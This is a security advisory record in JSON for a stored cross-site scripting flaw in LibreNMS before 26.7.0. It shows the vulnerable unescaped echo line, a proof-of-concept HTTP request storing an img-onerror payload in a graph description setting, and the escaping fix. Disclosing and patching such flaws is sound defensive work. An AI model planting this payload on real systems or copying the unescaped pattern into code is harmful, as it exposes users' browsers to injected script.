{"id":"GHSA-7cj5-v4pp-v632","title":"LibreNMS: Stored XSS via graph_descr admin config settings echoed without escaping to all authenticated users","summary":"LibreNMS: Stored XSS via graph_descr admin config settings echoed without escaping to all authenticated users","severity":"medium","cvss":4.8,"cwe":["CWE-79"],"vendor":"librenms","product":"librenms/librenms","ecosystem":"composer","affected":["librenms/librenms < 26.7.0"],"patched":["librenms/librenms 26.7.0"],"published":"2026-08-18","updated":"2026-08-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-7cj5-v4pp-v632","references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-7cj5-v4pp-v632"},{"url":"https://github.com/librenms/librenms/releases/tag/26.7.0"},{"url":"https://github.com/advisories/GHSA-7cj5-v4pp-v632"}],"tags":["ghsa","composer"],"ingestedAt":"2026-08-18T21:22:59.509Z","slug":"GHSA-7cj5-v4pp-v632","body":"## Overview\n\n### Summary\nThe `graph_descr.<graphtype>` family of settings is echoed verbatim without `htmlspecialchars()` in `includes/html/pages/graphs.inc.php:194`. Any admin can store a malicious HTML payload that executes in every authenticated user's browser viewing that graph type.\n\n### CVSS\n`CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N` — **4.8 Medium**\n\n### Details\n```php\n// graphs.inc.php:194\necho LibrenmsConfig::get('graph_descr.' . $vars['type']);\n```\n\n### PoC\n```\nPUT /settings/graph_descr.device_processor\n{\"value\": \"<img src=x onerror=\\\"alert('ADV-15')\\\">\"}\n\nGET /graphs?type=device_processor\n→ <img src=x onerror=\"alert('ADV-15')\">\n```\n\n### Fix\n```php\necho htmlspecialchars(LibrenmsConfig::get('graph_descr.' . $vars['type']), ENT_QUOTES, 'UTF-8');\n```\n\n### Prerequisite\nAdmin session to set the config value.\n\n## Affected packages\n\n- `librenms/librenms < 26.7.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `librenms/librenms 26.7.0`","depth":"sunlit","depthScore":26,"depthScoreParts":{"impact":26.4,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}